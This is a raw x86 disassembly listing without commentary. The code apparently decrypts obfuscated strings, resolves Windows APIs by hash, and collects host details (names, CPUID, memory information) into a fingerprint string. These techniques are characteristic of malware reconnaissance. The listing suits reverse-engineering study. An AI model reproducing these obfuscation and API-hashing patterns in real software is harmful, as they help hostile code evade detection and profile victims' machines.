movzx ecx, byte [esi + 0x1c4]
test cl, cl
je 0x42e85b
lea edx, [esi + 0x1c5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42e850
mov byte [ebx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x42e87b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42e870
mov byte [ebx], 0
mov byte [esi + 0x51c], 0
mov dword [esi + 0xcc], 0x10
push 0x4cbcd57b
push dword [0x4506f8]
call fcn.00443d90
add esp, 8
lea ecx, [esi + 0xcc]
lea edx, [esi + 0x51c]
push ecx
push edx
call eax
mov dword [esi + 0x1c4], 0x9cfae8da
mov dword [esi + 0x1c8], 0x56aeaca9
mov dword [esi + 0x1cc], 0x9fa4a8a8
mov word [esi + 0x1d0], 0xd7f0
mov dword [esi + 0x1d2], 0
mov dword [esi + 0x7d8], 0
mov eax, dword [esi + 0x7d8]
cmp eax, 0x11
ja 0x42e963
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x7d8]
mov ecx, dword [esi + 0x7d8]
movzx ecx, byte [esi + ecx + 0x1c4]
mov edx, eax
xor edx, 0x96f3524f
and eax, 0x16f3524f
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esi + 0x52c], eax
mov eax, dword [esi + 0x52c]
add al, 0x75
mov ecx, dword [esi + 0x7d8]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x7d8]
mov eax, dword [esi + 0x7d8]
cmp eax, 0x12
jb 0x42e900
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42e98b
lea ecx, [esi + 0x1c5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42e980
mov byte [ebx], 0
movzx eax, byte [esi + 0x51c]
test al, al
je 0x42e9ab
lea ecx, [esi + 0x51d]
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42e9a0
mov dword [esi + 8], ebx
mov byte [ebx], 0
mov dword [esi + 0x7d8], 0
mov dword [esi + 0x7dc], 0
mov eax, dword [0x44f3ec]
mov dword [esi + 0x1c4], 0x51ea4fef
mov dword [esi + 0x1c8], 0x55f153e6
mov dword [esi + 0x1cc], 0x59fd57e4
mov dword [esi + 0x1d0], 0x5d285b2d
mov dword [esi + 0x1d4], 0xa1fa5f32
mov dword [esi + 0x1d8], 0xa50ea30c
mov dword [esi + 0x1dc], 0xa7a4
mov dword [esi + 0xd8], 0
mov ecx, dword [esi + 0xd8]
cmp ecx, 0x1b
ja 0x42ea84
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0xd8]
movzx edx, byte [esi + edx + 0x1c4]
mov edi, ecx
xor edi, 0x124c38ed
and ecx, 0x124c38ed
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esi + 0x52c], ecx
mov ecx, dword [esi + 0x52c]
add cl, 0x5f
mov edx, dword [esi + 0xd8]
mov byte [esi + edx + 0x1c4], cl
inc dword [esi + 0xd8]
mov ecx, dword [esi + 0xd8]
cmp ecx, 0x1c
jb 0x42ea30
push 0x800
push 0
lea edi, [esi + 0x1c4]
push edi
call eax
lea ecx, [esi + 0x7d8]
push eax
call fcn.0043fae0
movzx eax, al
jmp dword [eax*4 + 0x44cfbc]
jmp 0x42ebe1
mov byte [esi + 0x1c4], 0
mov dword [esi + 0x34], 0x101
push 0x19cb8461
push dword [esi + 0x7d8]
call fcn.00443d90
add esp, 8
lea ecx, [esi + 0x34]
push ecx
push edi
call eax
mov dword [esi + 0x52c], 0xb27a685a
mov dword [esi + 0x530], 0x93a8a4ad
mov word [esi + 0x534], 0x537c
mov dword [esi + 0x536], 0
mov byte [esi + 0x53a], 0
mov dword [esi + 0x72c], 0
mov eax, dword [esi + 0x72c]
cmp eax, 0xe
ja 0x42eb7a
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x72c]
mov eax, dword [esi + 0x72c]
movzx eax, byte [esi + eax + 0x52c]
mov edx, ecx
not edx
or edx, 0x3a4b00f
add edx, ecx
xor ecx, 0x83a4b00f
lea ecx, [ecx + edx*2]
add ecx, 2
xor ecx, eax
mov dword [esi + 0xd8], ecx
mov eax, dword [esi + 0xd8]
add al, 0xb5
mov ecx, dword [esi + 0x72c]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x72c]
mov eax, dword [esi + 0x72c]
cmp eax, 0xf
jb 0x42eb20
movzx eax, byte [esi + 0x52c]
test al, al
je 0x42eb9d
lea ecx, [esi + 0x52d]
mov edx, dword [esi + 8]
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42eb90
jmp 0x42eba0
mov edx, dword [esi + 8]
mov edi, edx
mov byte [edx], 0
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42ebcd
lea ecx, [esi + 0x1c5]
mov edx, edi
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ebc0
jmp 0x42ebcf
mov edx, edi
mov dword [esi + 8], edx
mov byte [edx], 0
push dword [esi + 0x7d8]
call dword [0x44f4f0]
push 0x6ead8a84
push dword [0x4506f8]
call fcn.00443d90
add esp, 8
mov ebx, eax
mov byte [esi + 0x52c], 0
mov dword [esi + 0xc8], 0x200
lea eax, [esi + 0xc8]
lea ecx, [esi + 0x52c]
push eax
push ecx
push 6
call ebx
mov dword [esi + 0x1c4], 0x5d86b09e
mov dword [esi + 0x1c8], 0x46417471
mov dword [esi + 0x1cc], 0xd9be954a
mov dword [esi + 0x1d0], 0
mov dword [esi + 0xd8], 0
mov eax, dword [esi + 0xd8]
cmp eax, 0xf
ja 0x42eca7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0xd8]
mov ecx, dword [esi + 0xd8]
movzx ecx, byte [esi + ecx + 0x1c4]
add eax, 0xdb9c1159
xor eax, ecx
mov dword [esi + 0x7d8], eax
mov eax, dword [esi + 0x7d8]
add al, 0x43
mov ecx, dword [esi + 0xd8]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0xd8]
mov eax, dword [esi + 0xd8]
cmp eax, 0x10
jb 0x42ec60
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42eccd
lea ecx, [esi + 0x1c5]
mov edx, dword [esi + 8]
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ecc0
jmp 0x42ecd0
mov edx, dword [esi + 8]
mov edi, edx
mov byte [edx], 0
movzx eax, byte [esi + 0x52c]
test al, al
je 0x42ecfd
lea ecx, [esi + 0x52d]
mov edx, edi
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ecf0
jmp 0x42ecff
mov edx, edi
mov edi, edx
mov byte [edx], 0
mov byte [esi + 0x7d8], 0
mov dword [esi + 0xc4], 0x200
lea eax, [esi + 0xc4]
push eax
lea eax, [esi + 0x7d8]
push eax
push 5
call ebx
mov dword [esi + 0x1c4], 0x81fae8da
mov dword [esi + 0x1c8], 0xafaaaaa9
mov dword [esi + 0x1cc], 0x9fa9a0bb
mov word [esi + 0x1d0], 0xd7f0
mov dword [esi + 0x1d2], 0
mov byte [esi + 0x1d6], 0
mov dword [esi + 0x72c], 0
mov eax, dword [esi + 0x72c]
cmp eax, 0x12
ja 0x42ede8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x72c]
mov eax, dword [esi + 0x72c]
movzx eax, byte [esi + eax + 0x1c4]
mov edx, ecx
xor edx, 0xa290de4f
and ecx, 0x2290de4f
lea edx, [edx + ecx*2]
mov ecx, edx
and ecx, eax
add eax, edx
sub eax, ecx
mov edx, 0x471158ff
sub edx, eax
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
mov dword [esi + 0xd8], ecx
mov eax, dword [esi + 0xd8]
add al, 0x75
mov ecx, dword [esi + 0x72c]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x72c]
mov eax, dword [esi + 0x72c]
cmp eax, 0x13
jb 0x42ed80
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42ee0b
lea ecx, [esi + 0x1c5]
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ee00
mov byte [edi], 0
movzx eax, byte [esi + 0x7d8]
test al, al
je 0x42ee2b
lea ecx, [esi + 0x7d9]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ee20
mov byte [edi], 0
mov byte [esi + 0x50c], 0
mov dword [esi + 0xc0], 0x10
lea eax, [esi + 0xc0]
lea ecx, [esi + 0x50c]
push eax
push ecx
push 4
call ebx
mov dword [esi + 0x1c4], 0x6f3e4026
mov dword [esi + 0x1c8], 0x6e508777
mov dword [esi + 0x1cc], 0x295c6265
mov byte [esi + 0x1d0], 8
mov dword [esi + 0x1d1], 0
mov dword [esi + 0x1d4], 0
mov dword [esi + 0x72c], 0
mov eax, dword [esi + 0x72c]
cmp eax, 0x13
ja 0x42eefe
nop
mov eax, dword [esi + 0x72c]
mov ecx, dword [esi + 0x72c]
movzx ecx, byte [esi + ecx + 0x1c4]
mov edx, eax
xor edx, 0xa50a5005
and eax, 0x250a5005
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0xd8]
mov ecx, eax
not ecx
and ecx, 0x19
and eax, 0xe6
sub eax, ecx
mov ecx, dword [esi + 0x72c]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x72c]
mov eax, dword [esi + 0x72c]
cmp eax, 0x14
jb 0x42eea0
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42ef1b
lea ecx, [esi + 0x1c5]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ef10
mov byte [edi], 0
movzx eax, byte [esi + 0x50c]
test al, al
je 0x42ef3b
lea ecx, [esi + 0x50d]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ef30
mov byte [edi], 0
mov word [esi + 0x72c], 0
push 0x9887397f
push dword [0x4506f8]
call fcn.00443d90
add esp, 8
lea ecx, [esi + 0x72c]
push 0x56
mov ebx, ecx
push ecx
call eax
mov dword [esi + 0x1c4], 0xd3eef496
mov dword [esi + 0x1c8], 0x36393f2d
mov dword [esi + 0x1cc], 0xc9233a21
mov word [esi + 0x1d0], 0x85e4
mov dword [esi + 0x1d2], 0
mov word [esi + 0x1d6], 0
mov dword [esi + 0x34], 0
mov eax, dword [esi + 0x34]
cmp eax, 0x13
ja 0x42f004
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
movzx ecx, byte [esi + ecx + 0x1c4]
mov edx, eax
xor edx, 0x56f8c4a2
and eax, 0xd6f8c4a2
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0xd8]
add al, 0xd6
mov ecx, dword [esi + 0x34]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x34]
mov eax, dword [esi + 0x34]
cmp eax, 0x14
jb 0x42efb0
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42f02d
lea ecx, [esi + 0x1c5]
mov edx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42f020
jmp 0x42f02f
mov edx, ebx
mov dword [esi + 8], edi
mov byte [edi], 0
lea eax, [edi + 0x56]
mov dword [esi + 0x10], eax
xor eax, eax
mov ecx, edi
jmp 0x42f06a
mov byte [ecx], bl
mov edi, 1
add edx, 2
add eax, edi
mov ecx, dword [esi + 8]
add ecx, eax
cmp eax, 0x55
jae 0x42f108
movzx ebx, word [edx]
test bx, bx
je 0x42f108
cmp bx, 0x7f
jbe 0x42f050
mov dword [esi + 0xc], edx
mov edx, ecx
not edx
add edx, dword [esi + 0x10]
movzx edi, bx
cmp edx, 2
jb 0x42f0c0
cmp edi, 0x7ff
ja 0x42f0c0
mov edx, ebx
shr edx, 6
add dl, 0xc0
mov byte [ecx], dl
and bl, 0x3f
or bl, 0x80
mov byte [ecx + 1], bl
mov edi, 2
mov edx, dword [esi + 0xc]
jmp 0x42f057
mov dword [esi + 0x2c], edi
xor edi, edi
cmp edx, 3
mov edx, dword [esi + 0xc]
jb 0x42f057
mov edi, dword [esi + 0x2c]
mov edx, edi
shr edx, 0xc
or dl, 0xe0
mov byte [ecx], dl
mov edx, edi
shr edx, 6
and dl, 0x3f
or dl, 0x80
mov byte [ecx + 1], dl
mov edx, ebx
xor edx, 0xc0
or ebx, 0x3f
and ebx, edx
mov edx, dword [esi + 0xc]
add bl, 0x80
mov byte [ecx + 2], bl
mov edi, 3
jmp 0x42f057
mov byte [ecx], 0
mov dword [esi + 0x1c4], 0x8266904e
mov dword [esi + 0x1c8], 0x6da9dfd6
mov dword [esi + 0x1cc], 0xd6dca4b2
mov dword [esi + 0x1d0], 0x4a91d5
mov dword [esi + 0x34], 0
mov ecx, dword [esi + 0x34]
cmp ecx, 0xf
ja 0x42f1b2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
movzx ecx, byte [esi + ecx + 0x1c4]
mov edi, edx
not edi
or edi, 0x7f59a911
add edi, edx
xor edx, 0xff59a911
lea ebx, [edx + edi*2]
lea edx, [edx + edi*2]
add edx, 2
lea edi, [ecx + ebx]
add edi, 2
and edx, ecx
add edx, edx
sub edi, edx
mov dword [esi + 0xd8], edi
mov ecx, dword [esi + 0xd8]
mov edx, ecx
xor edx, 0x55
and ecx, 0x2a
add ecx, ecx
sub ecx, edx
mov edx, dword [esi + 0x34]
mov byte [esi + edx + 0x1c4], cl
inc dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
cmp ecx, 0x10
jb 0x42f150
mov edi, dword [esi + 8]
add edi, eax
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42f1db
lea ecx, [esi + 0x1c5]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42f1d0
mov byte [edi], 0
call fcn.00432f60
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0xc], eax
jmp dword [ecx*4 + 0x44cfc4]
mov dword [esi + 0x1c4], 0x4959242a
mov dword [esi + 0x1c8], 0x869c9e7a
mov byte [esi + 0x1cc], 0x2c
mov word [esi + 0x1cd], 0
mov byte [esi + 0x1cf], 0
mov dword [esi + 0x34], 0
mov eax, dword [esi + 0x34]
cmp eax, 0xb
ja 0x42f273
nop
nop
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
movzx ecx, byte [esi + ecx + 0x1c4]
mov edx, eax
xor edx, 0xb4d08607
and eax, 0x34d08607
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0xd8]
add al, 0xdd
mov ecx, dword [esi + 0x34]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x34]
mov eax, dword [esi + 0x34]
cmp eax, 0xc
jb 0x42f230
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42f29b
lea ecx, [esi + 0x1c5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42f290
mov byte [edi], 0
mov dword [esi + 0x1c4], 0x517a680a
mov dword [esi + 0x1c8], 0x232a3041
mov dword [esi + 0x1cc], 0x6304
mov dword [esi + 0x34], 0
mov eax, dword [esi + 0x34]
cmp eax, 0xb
ja 0x42f31a
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
movzx ecx, byte [esi + ecx + 0x1c4]
mov edx, eax
xor edx, 0xab02083b
and eax, 0x2b02083b
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esi + 0xd8], edx
mov eax, dword [esi + 0xd8]
add al, 0xd9
mov ecx, dword [esi + 0x34]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x34]
mov eax, dword [esi + 0x34]
cmp eax, 0xc
jb 0x42f2d0
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42f33b
lea ecx, [esi + 0x1c5]
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42f330
mov byte [edi], 0
movzx eax, byte [0x44f390]
test al, al
je 0x42f361
xor ecx, ecx
nop
nop
nop
nop
nop
mov byte [edi + ecx], al
movzx eax, byte [ecx + 0x44f391]
inc ecx
test al, al
jne 0x42f350
add edi, ecx
mov dword [esi + 8], edi
mov byte [edi], 0
mov dword [esi + 0xb4], 0
mov dword [esi + 0xb0], 0
push 0xd7ec7170
push dword [0x4506f8]
call fcn.00443d90
add esp, 8
lea ecx, [esi + 0xb0]
push ecx
call eax
mov eax, dword [esi + 0xb0]
mov ecx, dword [esi + 0xb4]
shld ecx, eax, 0x16
lea eax, [esi + 0x9d9]
push 0xa
push 0xb
push eax
push ecx
call fcn.00419c30
add esp, 0x10
mov word [esi + 0xd8], 0xa3dd
mov byte [esi + 0xda], 0x62
mov dword [esi + 0xdb], 0
mov dword [esi + 0x34], 0
mov ecx, dword [esi + 0x34]
cmp ecx, 6
ja 0x42f43b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
movzx ecx, byte [esi + ecx + 0xd8]
add edx, 0xc5acc018
mov edi, edx
and edi, ecx
mov ebx, edx
xor ebx, ecx
not ecx
or edx, ecx
sub ecx, edx
add ecx, edi
lea ecx, [ebx + ecx*2]
mov dword [esi + 0x1c4], ecx
mov ecx, dword [esi + 0x1c4]
add cl, 0x88
mov edx, dword [esi + 0x34]
mov byte [esi + edx + 0xd8], cl
inc dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
cmp ecx, 7
jb 0x42f3f0
mov dword [esi + 0x1c4], 0x4916dcfe
mov dword [esi + 0x1c8], 0x4c124035
mov dword [esi + 0x1cc], 0x39537759
mov dword [esi + 0x1d0], 0xfd1c
mov byte [esi + 0x1d4], 0
mov dword [esi + 0x6c], 0
mov ecx, dword [esi + 0x6c]
cmp ecx, 0x10
ja 0x42f4d7
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
movzx edx, byte [esi + edx + 0x1c4]
mov edi, ecx
xor edi, 0xd7d3497e
and ecx, 0xd7d3497e
lea edi, [edi + ecx*2]
lea ecx, [edi + edx]
mov ebx, edx
not ebx
or ebx, edi
add edx, ebx
inc edx
sub ecx, edx
mov edi, ecx
not edi
and edi, edx
not edx
and edx, ecx
sub edx, edi
mov dword [esi + 0x34], edx
mov ecx, dword [esi + 0x34]
add cl, 0x8a
mov edx, dword [esi + 0x6c]
mov byte [esi + edx + 0x1c4], cl
inc dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
cmp ecx, 0x11
jb 0x42f480
movzx ecx, byte [esi + 0x1c4]
test cl, cl
je 0x42f4fd
lea edx, [esi + 0x1c5]
mov edi, dword [esi + 8]
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42f4f0
jmp 0x42f500
mov edi, dword [esi + 8]
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x42f51b
inc eax
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42f510
mov byte [edi], 0
movzx eax, byte [esi + 0xd8]
test al, al
je 0x42f53b
lea ecx, [esi + 0xd9]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42f530
xor eax, eax
xor ecx, ecx
cpuid
mov dword [esi + 0x1b4], ebx
mov dword [esi + 0x1b8], edx
mov byte [edi], 0
mov dword [esi + 0x1bc], ecx
mov byte [esi + 0x1c0], 0
mov dword [esi + 0x1c4], 0x9cfae8da
mov dword [esi + 0x1c8], 0xb7feb488
mov dword [esi + 0x1cc], 0xa0b6a1a7
mov dword [esi + 0x1d0], 0xd5f699a6
mov byte [esi + 0x1d4], 0
mov dword [esi + 0x34], 0
mov eax, dword [esi + 0x34]
cmp eax, 0x10
ja 0x42f5e3
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
movzx ecx, byte [esi + ecx + 0x1c4]
mov edx, eax
xor edx, 0xb374804f
and eax, 0x3374804f
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0xd8]
add al, 0x75
mov ecx, dword [esi + 0x34]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x34]
mov eax, dword [esi + 0x34]
cmp eax, 0x11
jb 0x42f5a0
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42f60b
lea ecx, [esi + 0x1c5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42f600
mov byte [edi], 0
movzx eax, byte [esi + 0x1b4]
test al, al
je 0x42f62b
lea ecx, [esi + 0x1b5]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42f620
mov dword [esi + 8], edi
mov byte [edi], 0
mov eax, reloc.OLEAUT32.dll_SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ecx
mov dword [esi + 0x40], edx
mov eax, SysStringLen
mov ecx, 0
cpuid
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], ecx
mov dword [esi + 0x50], edx
mov eax, SysStringLen
mov ecx, 0
cpuid
mov dword [esi + 0x54], eax
mov dword [esi + 0x58], ebx
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], edx
lea eax, [esi + 0x9c]
lea ebx, [esi + 0x6c]
lea edx, [esi + 0x34]
mov edi, ebx
mov ecx, 0xc
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edx, [esi + 0x64]
mov edi, eax
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov ecx, eax
dec ecx
xor edx, edx
cmp byte [eax - 1], 0x20
sete dl
jmp dword [edx*4 + 0x44d004]
mov byte [edi], 0
mov dword [esi + 0x1c4], 0xaba9a04f
mov dword [esi + 0x1c8], 0xd710b0b9
mov word [esi + 0x1cc], 0xd5d8
mov byte [esi + 0x1ce], 0x66
mov word [esi + 0x1cf], 0
sub edi, dword [esi + 0xa0]
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0xc
ja 0x42f74c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x14]
movzx eax, byte [esi + eax + 0x1c4]
mov edx, ecx
xor edx, 0xb377403a
add ecx, ecx
and ecx, 0x66ee8074
mov ebx, ecx
and ebx, edx
xor ecx, edx
lea ecx, [ecx + ebx*2]
xor ecx, eax
mov dword [esi + 0xd8], ecx
mov eax, dword [esi + 0xd8]
add al, 0xde
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0xd
jb 0x42f700
mov ecx, dword [ebp + 8]
push edi
mov edi, dword [esi + 0xa0]
push edi
lea eax, [esi + 0x1c4]
push eax
call fcn.0040d580
jmp dword [0x44d07c]
push edi
call fcn.0040c9a0
add esp, 4
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movzx eax, byte [esi + 0xc]
mov dword [esi + 0xc], eax
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x42f797
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x42f7d0
mov eax, SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 8], eax
mov eax, 1
xor ecx, ecx
cpuid
test edx, 0x10000000
je 0x42fee4
cmp dword [esi + 8], reloc.OLEAUT32.dll_VariantClear
jl 0x42fee4
mov eax, reloc.OLEAUT32.dll_VariantClear
xor ecx, ecx
cpuid
jmp 0x42f7d5
sar eax, 0x1a
jmp 0x42f7d8
movzx eax, cl
inc eax
mov dword [esi + 8], eax
jmp 0x42feeb
lea eax, [esi + 0x1c8]
push 0x344
push 0
push eax
call fcn.0040ca10
add esp, 0xc
mov dword [esi + 0x1c4], 0x348
push 0x3733e33b
push dword [esi + 0xb8]
call fcn.00443d90
add esp, 8
push 0
push ebx
push 0
push 0
call eax
lea eax, [esi + 0x208]
lea ecx, [edi + 0x80]
mov dword [esi + 0x10], ecx
xor edx, edx
mov ecx, edi
jmp 0x42f858
mov byte [ecx], bl
mov ecx, 1
add eax, 2
add edx, ecx
lea ecx, [edi + edx]
cmp edx, 0x7f
jae 0x42f903
movzx ebx, word [eax]
test bx, bx
je 0x42f903
cmp bx, 0x7f
jbe 0x42f840
mov dword [esi + 8], edx
mov dword [esi + 0xc], ecx
mov edx, ecx
not edx
add edx, dword [esi + 0x10]
movzx ecx, bx
cmp edx, 2
jb 0x42f8b0
cmp ecx, 0x7ff
ja 0x42f8b0
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov edx, dword [esi + 0xc]
mov byte [edx], cl
and bl, 0x3f
or bl, 0x80
mov byte [edx + 1], bl
mov ecx, 2
mov edx, dword [esi + 8]
jmp 0x42f847
mov dword [esi + 0x2c], ecx
xor ecx, ecx
cmp edx, 3
mov edx, dword [esi + 8]
jb 0x42f847
mov ecx, dword [esi + 0x2c]
shr ecx, 0xc
or cl, 0xe0
mov dword [esi + 0x30], eax
mov eax, dword [esi + 0xc]
mov byte [eax], cl
mov eax, dword [esi + 0x2c]
shr eax, 6
and al, 0x3f
or al, 0x80
mov ecx, eax
mov eax, dword [esi + 0xc]
mov byte [eax + 1], cl
mov ecx, ebx
xor ecx, 0xc0
or ebx, 0x3f
and ebx, ecx
add bl, 0x80
mov eax, dword [esi + 0xc]
mov byte [eax + 2], bl
mov eax, dword [esi + 0x30]
mov ecx, 3
jmp 0x42f847
mov dword [esi + 8], edx
mov byte [ecx], 0
lea ebx, [esi + 0xd8]
push 0xdc
push 0
push ebx
call fcn.0040ca10
add esp, 0xc
mov word [esi + 0x11c], 0xdc
push 0x30be1b3b
push dword [esi + 0xb8]
call fcn.00443d90
add esp, 8
push ebx
push 0xffffffffffffffff
push 0
call eax
lea eax, [esi + 0xa4]
push 0xa
push 0xc
push eax
push dword [esi + 0x184]
call fcn.00434980
add esp, 0x10
mov dword [esi + 0xc], eax
lea eax, [esi + 0x9e4]
push 0xa
push 0xc
push eax
push dword [esi + 0x188]
call fcn.00434980
add esp, 0x10
mov dword [esi + 0x14], 0xeb36cc2e
mov dword [esi + 0x18], 0x87829a8d
mov dword [esi + 0x1c], 0x812e98f1
mov dword [esi + 0x20], 0x9f998291
mov dword [esi + 0x24], 0x949f8585
mov dword [esi + 0x28], 0x322c396
mov dword [esi + 0x68], 0
mov ecx, dword [esi + 0x68]
cmp ecx, 0x17
ja 0x42fa00
mov ecx, dword [esi + 0x68]
mov edx, dword [esi + 0x68]
movzx edx, byte [esi + edx + 0x14]
mov ebx, ecx
xor ebx, 0x89e38ac6
and ecx, 0x9e38ac6
lea ecx, [ebx + ecx*2]
lea ebx, [ecx + edx]
and ecx, edx
mov edx, ebx
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, ebx
sub ecx, edx
mov dword [esi + 0xd0], ecx
mov ecx, dword [esi + 0xd0]
add cl, 0x22
mov edx, dword [esi + 0x68]
mov byte [esi + edx + 0x14], cl
inc dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
cmp ecx, 0x18
jb 0x42f9b0
add edi, dword [esi + 8]
movzx ecx, byte [esi + 0x14]
test cl, cl
je 0x42fa1b
lea edx, [esi + 0x15]
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42fa10
mov byte [edi], 0
mov edx, dword [esi + 0xc]
movzx ecx, byte [edx]
test cl, cl
je 0x42fa3b
inc edx
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42fa30
mov byte [edi], pe_nt_image_headers32
inc edi
movzx ecx, byte [eax]
test cl, cl
je 0x42fa5b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
